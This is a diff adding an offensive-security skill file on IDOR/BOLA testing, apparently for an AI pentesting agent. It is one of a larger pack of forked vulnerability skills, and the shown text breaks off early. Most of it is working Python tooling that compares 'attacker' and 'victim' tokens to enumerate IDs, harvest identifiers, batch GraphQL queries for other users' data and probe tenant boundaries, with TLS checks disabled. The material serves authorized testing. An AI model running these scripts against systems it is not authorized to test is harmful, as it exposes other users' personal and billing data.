- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,705 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: idor
|
|
5
|
+
description: IDOR/BOLA testing for object-level authorization failures and cross-account data access, with automated enumeration scripts and multi-principal validation
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# IDOR / BOLA
|
|
9
|
+
|
|
10
|
+
Object-level authorization failures (BOLA/IDOR) lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Scope**
|
|
15
|
+
- Horizontal access: access another subject's objects of the same type
|
|
16
|
+
- Vertical access: access privileged objects/actions (admin-only, staff-only)
|
|
17
|
+
- Cross-tenant access: break isolation boundaries in multi-tenant systems
|
|
18
|
+
- Cross-service access: token or context accepted by the wrong service
|
|
19
|
+
|
|
20
|
+
**Reference Locations**
|
|
21
|
+
- Paths, query params, JSON bodies, form-data, headers, cookies
|
|
22
|
+
- JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
|
|
23
|
+
|
|
24
|
+
**Identifier Forms**
|
|
25
|
+
- Integers, UUID/ULID/CUID, Snowflake, slugs
|
|
26
|
+
- Composite keys (e.g., `{orgId}:{userId}`)
|
|
27
|
+
- Opaque tokens, base64/hex-encoded blobs
|
|
28
|
+
|
|
29
|
+
**Relationship References**
|
|
30
|
+
- parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
|
|
31
|
+
|
|
32
|
+
**Expansion/Projection Knobs**
|
|
33
|
+
- `fields`, `include`, `expand`, `projection`, `with`, `select`, `populate`
|
|
34
|
+
- Often bypass authorization in resolvers or serializers
|
|
35
|
+
|
|
36
|
+
## High-Value Targets
|
|
37
|
+
|
|
38
|
+
- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
|
|
39
|
+
- Messaging/mailbox/notifications, audit logs, activity feeds
|
|
40
|
+
- Billing: invoices, payment methods, transactions, credits
|
|
41
|
+
- Healthcare/education records, HR documents, PII/PHI/PCI
|
|
42
|
+
- Admin/staff tools, impersonation/session management
|
|
43
|
+
- File/object storage keys (S3/GCS signed URLs, share links)
|
|
44
|
+
- Background jobs: import/export job IDs, task results
|
|
45
|
+
- Multi-tenant resources: organizations, workspaces, projects
|
|
46
|
+
|
|
47
|
+
---
|
|
48
|
+
|
|
49
|
+
## Automated Enumeration Scripts
|
|
50
|
+
|
|
51
|
+
### Script 1 — Sequential ID Enumerator (REST)
|
|
52
|
+
|
|
53
|
+
Tests a range of integer IDs against an endpoint with two principals. Detects when principal B can access resources belonging to principal A.
|
|
54
|
+
|
|
55
|
+
```python
|
|
56
|
+
#!/usr/bin/env python3
|
|
57
|
+
"""
|
|
58
|
+
IDOR sequential enumerator.
|
|
59
|
+
Usage: python3 idor_enum.py --url https://api.target.com/users/ID/profile \
|
|
60
|
+
--token-a "Bearer <victim_token>" \
|
|
61
|
+
--token-b "Bearer <attacker_token>" \
|
|
62
|
+
--range 1 200
|
|
63
|
+
"""
|
|
64
|
+
import argparse, ssl, json, sys, time
|
|
65
|
+
from urllib.request import urlopen, Request
|
|
66
|
+
from urllib.error import HTTPError, URLError
|
|
67
|
+
|
|
68
|
+
ctx = ssl.create_default_context()
|
|
69
|
+
ctx.check_hostname = False
|
|
70
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
71
|
+
|
|
72
|
+
def probe(url, token):
|
|
73
|
+
try:
|
|
74
|
+
req = Request(url, headers={"Authorization": token, "Accept": "application/json"})
|
|
75
|
+
resp = urlopen(req, context=ctx, timeout=10)
|
|
76
|
+
body = resp.read()
|
|
77
|
+
return resp.status, len(body), body[:300].decode(errors='replace')
|
|
78
|
+
except HTTPError as e:
|
|
79
|
+
body = e.read()[:100].decode(errors='replace')
|
|
80
|
+
return e.code, 0, body
|
|
81
|
+
except URLError as e:
|
|
82
|
+
return 0, 0, str(e)
|
|
83
|
+
|
|
84
|
+
parser = argparse.ArgumentParser()
|
|
85
|
+
parser.add_argument("--url", required=True, help="URL with 'ID' placeholder")
|
|
86
|
+
parser.add_argument("--token-a", required=True, help="Owner token (victim)")
|
|
87
|
+
parser.add_argument("--token-b", required=True, help="Attacker token")
|
|
88
|
+
parser.add_argument("--range", nargs=2, type=int, default=[1, 50])
|
|
89
|
+
parser.add_argument("--delay", type=float, default=0.1)
|
|
90
|
+
args = parser.parse_args()
|
|
91
|
+
|
|
92
|
+
print(f"[*] Testing IDs {args.range[0]}-{args.range[1]}")
|
|
93
|
+
print(f"[*] URL template: {args.url}")
|
|
94
|
+
print()
|
|
95
|
+
|
|
96
|
+
findings = []
|
|
97
|
+
for i in range(args.range[0], args.range[1] + 1):
|
|
98
|
+
url = args.url.replace("ID", str(i))
|
|
99
|
+
|
|
100
|
+
status_a, len_a, body_a = probe(url, args.token_a)
|
|
101
|
+
status_b, len_b, body_b = probe(url, args.token_b)
|
|
102
|
+
|
|
103
|
+
# IDOR if: owner gets 200, attacker also gets 200 with real content
|
|
104
|
+
if status_a == 200 and status_b == 200 and len_b > 50:
|
|
105
|
+
print(f"[IDOR] ID={i} | Owner: {status_a} ({len_a}B) | Attacker: {status_b} ({len_b}B)")
|
|
106
|
+
print(f" Attacker response preview: {body_b[:150]}")
|
|
107
|
+
findings.append({"id": i, "url": url})
|
|
108
|
+
elif status_a == 200 and status_b in (403, 401):
|
|
109
|
+
pass # Correct — attacker denied
|
|
110
|
+
elif status_a == 200 and status_b == 200 and len_b < 50:
|
|
111
|
+
pass # Likely empty/stub
|
|
112
|
+
else:
|
|
113
|
+
pass # Owner also 404/403 — resource doesn't exist
|
|
114
|
+
|
|
115
|
+
time.sleep(args.delay)
|
|
116
|
+
|
|
117
|
+
print(f"\n[*] IDOR candidates found: {len(findings)}")
|
|
118
|
+
for f in findings:
|
|
119
|
+
print(f" {f['url']}")
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
### Script 2 — Multi-Principal Matrix Tester
|
|
125
|
+
|
|
126
|
+
Tests a set of endpoints with multiple token/role combinations. Detects authorization inconsistencies across the full action matrix.
|
|
127
|
+
|
|
128
|
+
```python
|
|
129
|
+
#!/usr/bin/env python3
|
|
130
|
+
"""
|
|
131
|
+
Multi-principal IDOR matrix tester.
|
|
132
|
+
Reads config from idor_config.json (see format below).
|
|
133
|
+
"""
|
|
134
|
+
import json, ssl, argparse, sys
|
|
135
|
+
from urllib.request import urlopen, Request
|
|
136
|
+
from urllib.error import HTTPError
|
|
137
|
+
|
|
138
|
+
ctx = ssl.create_default_context()
|
|
139
|
+
ctx.check_hostname = False
|
|
140
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
141
|
+
|
|
142
|
+
# Config format (idor_config.json):
|
|
143
|
+
# {
|
|
144
|
+
# "principals": {
|
|
145
|
+
# "owner": "Bearer eyJ...",
|
|
146
|
+
# "other": "Bearer eyJ...",
|
|
147
|
+
# "admin": "Bearer eyJ..."
|
|
148
|
+
# },
|
|
149
|
+
# "tests": [
|
|
150
|
+
# {
|
|
151
|
+
# "name": "Get invoice",
|
|
152
|
+
# "method": "GET",
|
|
153
|
+
# "url": "https://api.target.com/invoices/OWNER_INVOICE_ID",
|
|
154
|
+
# "expected": {"owner": 200, "other": 403, "admin": 200}
|
|
155
|
+
# },
|
|
156
|
+
# {
|
|
157
|
+
# "name": "Export profile CSV",
|
|
158
|
+
# "method": "GET",
|
|
159
|
+
# "url": "https://api.target.com/users/OWNER_USER_ID/export.csv",
|
|
160
|
+
# "expected": {"owner": 200, "other": 403, "admin": 200}
|
|
161
|
+
# }
|
|
162
|
+
# ]
|
|
163
|
+
# }
|
|
164
|
+
|
|
165
|
+
def do_request(method, url, token, body=None):
|
|
166
|
+
headers = {"Authorization": token, "Accept": "application/json"}
|
|
167
|
+
if body:
|
|
168
|
+
headers["Content-Type"] = "application/json"
|
|
169
|
+
req = Request(url, method=method,
|
|
170
|
+
data=json.dumps(body).encode() if body else None,
|
|
171
|
+
headers=headers)
|
|
172
|
+
try:
|
|
173
|
+
resp = urlopen(req, context=ctx, timeout=12)
|
|
174
|
+
return resp.status, len(resp.read())
|
|
175
|
+
except HTTPError as e:
|
|
176
|
+
return e.code, 0
|
|
177
|
+
|
|
178
|
+
parser = argparse.ArgumentParser()
|
|
179
|
+
parser.add_argument("-c", "--config", default="idor_config.json")
|
|
180
|
+
args = parser.parse_args()
|
|
181
|
+
|
|
182
|
+
with open(args.config) as f:
|
|
183
|
+
cfg = json.load(f)
|
|
184
|
+
|
|
185
|
+
principals = cfg["principals"]
|
|
186
|
+
tests = cfg["tests"]
|
|
187
|
+
failures = []
|
|
188
|
+
|
|
189
|
+
for test in tests:
|
|
190
|
+
print(f"\n[TEST] {test['name']}")
|
|
191
|
+
print(f" {test['method']} {test['url']}")
|
|
192
|
+
for pname, token in principals.items():
|
|
193
|
+
status, size = do_request(test["method"], test["url"], token, test.get("body"))
|
|
194
|
+
expected = test.get("expected", {}).get(pname)
|
|
195
|
+
ok = (expected is None) or (status == expected)
|
|
196
|
+
flag = "✓" if ok else "✗ IDOR"
|
|
197
|
+
print(f" [{flag}] {pname}: HTTP {status} ({size}B) [expected {expected}]")
|
|
198
|
+
if not ok and status == 200:
|
|
199
|
+
failures.append({"test": test["name"], "principal": pname, "url": test["url"], "status": status})
|
|
200
|
+
|
|
201
|
+
print(f"\n{'='*60}")
|
|
202
|
+
print(f"IDOR FAILURES: {len(failures)}")
|
|
203
|
+
for f in failures:
|
|
204
|
+
print(f" [{f['principal']}] {f['test']} -> HTTP {f['status']} | {f['url']}")
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
---
|
|
208
|
+
|
|
209
|
+
### Script 3 — UUID Harvester (Extract IDs from Live Responses)
|
|
210
|
+
|
|
211
|
+
Collects UUIDs and integer IDs from API responses, building a corpus for cross-principal testing.
|
|
212
|
+
|
|
213
|
+
```python
|
|
214
|
+
#!/usr/bin/env python3
|
|
215
|
+
"""
|
|
216
|
+
Harvest object IDs from a set of API endpoints (list/search/export).
|
|
217
|
+
Builds a reusable ID corpus for IDOR testing.
|
|
218
|
+
|
|
219
|
+
Usage: python3 uuid_harvest.py --token "Bearer <token>" \
|
|
220
|
+
--endpoints endpoints.txt
|
|
221
|
+
"""
|
|
222
|
+
import re, json, ssl, argparse
|
|
223
|
+
from urllib.request import urlopen, Request
|
|
224
|
+
from urllib.error import HTTPError
|
|
225
|
+
|
|
226
|
+
ctx = ssl.create_default_context()
|
|
227
|
+
ctx.check_hostname = False
|
|
228
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
229
|
+
|
|
230
|
+
UUID_RE = re.compile(r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}', re.I)
|
|
231
|
+
INT_ID_RE = re.compile(r'"(?:id|userId|accountId|invoiceId|orderId|projectId|tenantId|orgId)"\s*:\s*(\d+)')
|
|
232
|
+
SLUG_RE = re.compile(r'"(?:slug|handle|username|identifier)"\s*:\s*"([^"]{3,64})"')
|
|
233
|
+
|
|
234
|
+
parser = argparse.ArgumentParser()
|
|
235
|
+
parser.add_argument("--token", required=True)
|
|
236
|
+
parser.add_argument("--endpoints", required=True)
|
|
237
|
+
parser.add_argument("--out", default="id_corpus.json")
|
|
238
|
+
args = parser.parse_args()
|
|
239
|
+
|
|
240
|
+
corpus = {"uuids": set(), "integers": set(), "slugs": set()}
|
|
241
|
+
|
|
242
|
+
endpoints = [l.strip() for l in open(args.endpoints) if l.strip()]
|
|
243
|
+
for url in endpoints:
|
|
244
|
+
try:
|
|
245
|
+
req = Request(url, headers={
|
|
246
|
+
"Authorization": args.token,
|
|
247
|
+
"Accept": "application/json"
|
|
248
|
+
})
|
|
249
|
+
resp = urlopen(req, context=ctx, timeout=15)
|
|
250
|
+
body = resp.read().decode(errors='replace')
|
|
251
|
+
corpus["uuids"].update(UUID_RE.findall(body))
|
|
252
|
+
corpus["integers"].update(INT_ID_RE.findall(body))
|
|
253
|
+
corpus["slugs"].update(SLUG_RE.findall(body))
|
|
254
|
+
print(f"[+] {url} -> {len(UUID_RE.findall(body))} UUIDs, {len(INT_ID_RE.findall(body))} IDs")
|
|
255
|
+
except Exception as e:
|
|
256
|
+
print(f"[-] {url}: {e}")
|
|
257
|
+
|
|
258
|
+
out = {k: sorted(v) for k, v in corpus.items()}
|
|
259
|
+
with open(args.out, "w") as f:
|
|
260
|
+
json.dump(out, f, indent=2)
|
|
261
|
+
|
|
262
|
+
print(f"\n[*] Corpus saved to {args.out}")
|
|
263
|
+
print(f" UUIDs: {len(out['uuids'])}")
|
|
264
|
+
print(f" Integer IDs: {len(out['integers'])}")
|
|
265
|
+
print(f" Slugs: {len(out['slugs'])}")
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
### Script 4 — Blind IDOR Confirmer (Timing + Size + ETag Differential)
|
|
271
|
+
|
|
272
|
+
When responses are identical regardless of content (e.g., always `{"status":"ok"}`), use side-channel differentials to confirm IDOR.
|
|
273
|
+
|
|
274
|
+
```python
|
|
275
|
+
#!/usr/bin/env python3
|
|
276
|
+
"""
|
|
277
|
+
Blind IDOR confirmation via timing, response size, and ETag differentials.
|
|
278
|
+
Use when content is masked but side channels still leak existence/ownership.
|
|
279
|
+
|
|
280
|
+
Usage: python3 blind_idor.py \
|
|
281
|
+
--url "https://api.target.com/messages/ID" \
|
|
282
|
+
--token-a "Bearer <victim>" --token-b "Bearer <attacker>" \
|
|
283
|
+
--ids 1001,1002,1003,1004,1005
|
|
284
|
+
"""
|
|
285
|
+
import ssl, time, argparse
|
|
286
|
+
from urllib.request import urlopen, Request
|
|
287
|
+
from urllib.error import HTTPError
|
|
288
|
+
|
|
289
|
+
ctx = ssl.create_default_context()
|
|
290
|
+
ctx.check_hostname = False
|
|
291
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
292
|
+
|
|
293
|
+
def probe_timing(url, token, repeats=3):
|
|
294
|
+
"""Returns avg response time, body size, status, etag."""
|
|
295
|
+
times, size, status, etag = [], 0, 0, None
|
|
296
|
+
for _ in range(repeats):
|
|
297
|
+
t0 = time.perf_counter()
|
|
298
|
+
try:
|
|
299
|
+
req = Request(url, headers={"Authorization": token, "Accept": "application/json"})
|
|
300
|
+
resp = urlopen(req, context=ctx, timeout=15)
|
|
301
|
+
body = resp.read()
|
|
302
|
+
status = resp.status
|
|
303
|
+
size = len(body)
|
|
304
|
+
etag = resp.headers.get("ETag", "")
|
|
305
|
+
except HTTPError as e:
|
|
306
|
+
status = e.code
|
|
307
|
+
size = 0
|
|
308
|
+
etag = ""
|
|
309
|
+
times.append(time.perf_counter() - t0)
|
|
310
|
+
time.sleep(0.05)
|
|
311
|
+
return status, size, etag, sum(times) / len(times)
|
|
312
|
+
|
|
313
|
+
parser = argparse.ArgumentParser()
|
|
314
|
+
parser.add_argument("--url", required=True)
|
|
315
|
+
parser.add_argument("--token-a", required=True)
|
|
316
|
+
parser.add_argument("--token-b", required=True)
|
|
317
|
+
parser.add_argument("--ids", required=True, help="comma-separated IDs to test")
|
|
318
|
+
args = parser.parse_args()
|
|
319
|
+
|
|
320
|
+
ids = [i.strip() for i in args.ids.split(",")]
|
|
321
|
+
print(f"{'ID':>8} | {'Status-A':>8} | {'Status-B':>8} | {'Size-A':>8} | {'Size-B':>8} | {'ETag-A':>12} | {'ETag-B':>12} | Finding")
|
|
322
|
+
print("-" * 100)
|
|
323
|
+
|
|
324
|
+
for id_ in ids:
|
|
325
|
+
url = args.url.replace("ID", id_)
|
|
326
|
+
sa, sza, eta, ta = probe_timing(url, args.token_a)
|
|
327
|
+
sb, szb, etb, tb = probe_timing(url, args.token_b)
|
|
328
|
+
|
|
329
|
+
# Detection logic
|
|
330
|
+
finding = ""
|
|
331
|
+
if sa == 200 and sb == 200:
|
|
332
|
+
if eta and etb and eta == etb:
|
|
333
|
+
finding = "IDOR (same ETag)"
|
|
334
|
+
elif sza == szb and sza > 100:
|
|
335
|
+
finding = "IDOR (same size)"
|
|
336
|
+
elif sza > 0 and szb > 0:
|
|
337
|
+
finding = "POSSIBLE IDOR"
|
|
338
|
+
elif sa == 200 and sb == 404 and ta > tb + 0.05:
|
|
339
|
+
finding = "Exists (timing leak) - different principals"
|
|
340
|
+
elif sa == 200 and sb == 403:
|
|
341
|
+
finding = "Correctly denied"
|
|
342
|
+
|
|
343
|
+
print(f"{id_:>8} | {sa:>8} | {sb:>8} | {sza:>8} | {szb:>8} | {eta[:12]:>12} | {etb[:12]:>12} | {finding}")
|
|
344
|
+
```
|
|
345
|
+
|
|
346
|
+
---
|
|
347
|
+
|
|
348
|
+
### Script 5 — GraphQL Alias IDOR Batcher
|
|
349
|
+
|
|
350
|
+
Tests BOLA via GraphQL by requesting multiple users' data in a single aliased query, then comparing results.
|
|
351
|
+
|
|
352
|
+
```python
|
|
353
|
+
#!/usr/bin/env python3
|
|
354
|
+
"""
|
|
355
|
+
GraphQL IDOR via alias batching.
|
|
356
|
+
Requests objects belonging to different users in one query.
|
|
357
|
+
Detects when attacker's token gets data for other users.
|
|
358
|
+
|
|
359
|
+
Usage: python3 graphql_idor.py \
|
|
360
|
+
--url https://api.target.com/graphql \
|
|
361
|
+
--token-attacker "Bearer <attacker>" \
|
|
362
|
+
--victim-ids "abc123,def456,ghi789" \
|
|
363
|
+
--query-template queries/user_profile.graphql
|
|
364
|
+
"""
|
|
365
|
+
import json, ssl, argparse, re
|
|
366
|
+
from urllib.request import urlopen, Request
|
|
367
|
+
from urllib.error import HTTPError
|
|
368
|
+
|
|
369
|
+
ctx = ssl.create_default_context()
|
|
370
|
+
ctx.check_hostname = False
|
|
371
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
372
|
+
|
|
373
|
+
# Default query template — override with --query-template
|
|
374
|
+
DEFAULT_QUERY_TEMPLATE = """
|
|
375
|
+
query IDORTest {
|
|
376
|
+
ALIAS: user(id: "TARGET_ID") {
|
|
377
|
+
id
|
|
378
|
+
email
|
|
379
|
+
name
|
|
380
|
+
role
|
|
381
|
+
createdAt
|
|
382
|
+
}
|
|
383
|
+
}
|
|
384
|
+
"""
|
|
385
|
+
|
|
386
|
+
def gql(url, token, query):
|
|
387
|
+
payload = json.dumps({"query": query}).encode()
|
|
388
|
+
req = Request(url, data=payload, headers={
|
|
389
|
+
"Authorization": token,
|
|
390
|
+
"Content-Type": "application/json",
|
|
391
|
+
"Accept": "application/json"
|
|
392
|
+
})
|
|
393
|
+
try:
|
|
394
|
+
resp = urlopen(req, context=ctx, timeout=15)
|
|
395
|
+
return resp.status, json.loads(resp.read())
|
|
396
|
+
except HTTPError as e:
|
|
397
|
+
return e.code, {}
|
|
398
|
+
|
|
399
|
+
parser = argparse.ArgumentParser()
|
|
400
|
+
parser.add_argument("--url", required=True)
|
|
401
|
+
parser.add_argument("--token-attacker", required=True)
|
|
402
|
+
parser.add_argument("--victim-ids", required=True)
|
|
403
|
+
parser.add_argument("--query-template", default=None)
|
|
404
|
+
args = parser.parse_args()
|
|
405
|
+
|
|
406
|
+
victim_ids = [i.strip() for i in args.victim_ids.split(",")]
|
|
407
|
+
|
|
408
|
+
template = DEFAULT_QUERY_TEMPLATE
|
|
409
|
+
if args.query_template:
|
|
410
|
+
with open(args.query_template) as f:
|
|
411
|
+
template = f.read()
|
|
412
|
+
|
|
413
|
+
# Build a batched query with one alias per victim ID
|
|
414
|
+
aliases = []
|
|
415
|
+
for i, vid in enumerate(victim_ids):
|
|
416
|
+
q = template.replace("ALIAS", f"victim_{i}").replace("TARGET_ID", vid)
|
|
417
|
+
# Strip 'query IDORTest {' wrapper to allow batching
|
|
418
|
+
inner = re.sub(r'^\s*query\s+\w+\s*\{', '', q).rsplit('}', 1)[0]
|
|
419
|
+
aliases.append(inner)
|
|
420
|
+
|
|
421
|
+
combined_query = "query IDORBatch {\n" + "\n".join(aliases) + "\n}"
|
|
422
|
+
print(f"[*] Sending batched query for {len(victim_ids)} IDs via attacker token")
|
|
423
|
+
|
|
424
|
+
status, body = gql(args.url, args.token_attacker, combined_query)
|
|
425
|
+
print(f"[*] HTTP {status}")
|
|
426
|
+
|
|
427
|
+
data = body.get("data", {})
|
|
428
|
+
errors = body.get("errors", [])
|
|
429
|
+
|
|
430
|
+
if errors:
|
|
431
|
+
print(f"[!] Errors: {json.dumps(errors, indent=2)}")
|
|
432
|
+
|
|
433
|
+
for i, vid in enumerate(victim_ids):
|
|
434
|
+
alias_key = f"victim_{i}"
|
|
435
|
+
result = data.get(alias_key)
|
|
436
|
+
if result:
|
|
437
|
+
print(f"\n[IDOR] Victim ID={vid} data accessible via attacker token:")
|
|
438
|
+
for k, v in result.items():
|
|
439
|
+
print(f" {k}: {v}")
|
|
440
|
+
else:
|
|
441
|
+
print(f"[OK] Victim ID={vid}: null/denied")
|
|
442
|
+
```
|
|
443
|
+
|
|
444
|
+
---
|
|
445
|
+
|
|
446
|
+
### Script 6 — Multi-Tenant Boundary Tester
|
|
447
|
+
|
|
448
|
+
Tests whether org/tenant context can be escaped by switching IDs in headers, paths, and body params.
|
|
449
|
+
|
|
450
|
+
```python
|
|
451
|
+
#!/usr/bin/env python3
|
|
452
|
+
"""
|
|
453
|
+
Multi-tenant IDOR boundary tester.
|
|
454
|
+
Tests if attacker in Org B can access resources belonging to Org A.
|
|
455
|
+
|
|
456
|
+
Usage: python3 tenant_idor.py \
|
|
457
|
+
--base-url https://api.target.com \
|
|
458
|
+
--token-org-a "Bearer <org_a_token>" \
|
|
459
|
+
--token-org-b "Bearer <org_b_token>" \
|
|
460
|
+
--org-a-id "org_111" --org-b-id "org_222"
|
|
461
|
+
"""
|
|
462
|
+
import json, ssl, argparse
|
|
463
|
+
from urllib.request import urlopen, Request
|
|
464
|
+
from urllib.error import HTTPError
|
|
465
|
+
|
|
466
|
+
ctx = ssl.create_default_context()
|
|
467
|
+
ctx.check_hostname = False
|
|
468
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
469
|
+
|
|
470
|
+
TENANT_VECTORS = [
|
|
471
|
+
# (description, url_template, extra_headers)
|
|
472
|
+
("Path param", "/orgs/ORG_A_ID/members", {}),
|
|
473
|
+
("Path param — nested", "/orgs/ORG_A_ID/projects", {}),
|
|
474
|
+
("X-Organization-ID header", "/members", {"X-Organization-ID": "ORG_A_ID"}),
|
|
475
|
+
("X-Tenant-ID header", "/members", {"X-Tenant-ID": "ORG_A_ID"}),
|
|
476
|
+
("X-Account-ID header", "/members", {"X-Account-ID": "ORG_A_ID"}),
|
|
477
|
+
("org query param", "/members?org=ORG_A_ID", {}),
|
|
478
|
+
("organizationId query param", "/members?organizationId=ORG_A_ID", {}),
|
|
479
|
+
("Reports rollup", "/orgs/ORG_A_ID/reports/summary", {}),
|
|
480
|
+
("Billing", "/orgs/ORG_A_ID/billing/invoices", {}),
|
|
481
|
+
("Export", "/orgs/ORG_A_ID/export.csv", {}),
|
|
482
|
+
]
|
|
483
|
+
|
|
484
|
+
parser = argparse.ArgumentParser()
|
|
485
|
+
parser.add_argument("--base-url", required=True)
|
|
486
|
+
parser.add_argument("--token-org-a", required=True, help="Victim org token")
|
|
487
|
+
parser.add_argument("--token-org-b", required=True, help="Attacker org token")
|
|
488
|
+
parser.add_argument("--org-a-id", required=True)
|
|
489
|
+
parser.add_argument("--org-b-id", required=True)
|
|
490
|
+
args = parser.parse_args()
|
|
491
|
+
|
|
492
|
+
def probe(url, token, extra_headers=None):
|
|
493
|
+
headers = {"Authorization": token, "Accept": "application/json"}
|
|
494
|
+
if extra_headers:
|
|
495
|
+
headers.update(extra_headers)
|
|
496
|
+
try:
|
|
497
|
+
req = Request(url, headers=headers)
|
|
498
|
+
resp = urlopen(req, context=ctx, timeout=10)
|
|
499
|
+
body = resp.read()
|
|
500
|
+
return resp.status, len(body), body[:200].decode(errors='replace')
|
|
501
|
+
except HTTPError as e:
|
|
502
|
+
return e.code, 0, ""
|
|
503
|
+
|
|
504
|
+
print(f"\n{'Vector':<35} | {'Org-A (Owner)':>13} | {'Org-B (Attacker)':>16} | Finding")
|
|
505
|
+
print("-" * 90)
|
|
506
|
+
|
|
507
|
+
for desc, path_template, extra_hdrs in TENANT_VECTORS:
|
|
508
|
+
path = path_template.replace("ORG_A_ID", args.org_a_id).replace("ORG_B_ID", args.org_b_id)
|
|
509
|
+
url = args.base_url.rstrip("/") + path
|
|
510
|
+
|
|
511
|
+
# Substitute org IDs into extra headers
|
|
512
|
+
resolved_hdrs = {k: v.replace("ORG_A_ID", args.org_a_id) for k, v in extra_hdrs.items()}
|
|
513
|
+
|
|
514
|
+
sa, sza, ba = probe(url, args.token_org_a, resolved_hdrs)
|
|
515
|
+
sb, szb, bb = probe(url, args.token_org_b, resolved_hdrs)
|
|
516
|
+
|
|
517
|
+
finding = ""
|
|
518
|
+
if sa == 200 and sb == 200 and szb > 50:
|
|
519
|
+
finding = "TENANT IDOR"
|
|
520
|
+
elif sa == 200 and sb in (403, 401):
|
|
521
|
+
finding = "Correctly denied"
|
|
522
|
+
elif sa in (404, 403):
|
|
523
|
+
finding = "Endpoint N/A"
|
|
524
|
+
|
|
525
|
+
print(f"{desc:<35} | {str(sa)+' ('+str(sza)+'B)':>13} | {str(sb)+' ('+str(szb)+'B)':>16} | {finding}")
|
|
526
|
+
```
|
|
527
|
+
|
|
528
|
+
---
|
|
529
|
+
|
|
530
|
+
## Key Vulnerability Patterns
|
|
531
|
+
|
|
532
|
+
### Horizontal & Vertical Access
|
|
533
|
+
|
|
534
|
+
- Swap object IDs between principals using the same token to probe horizontal access
|
|
535
|
+
- Repeat with lower-privilege tokens to probe vertical access
|
|
536
|
+
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
|
|
537
|
+
|
|
538
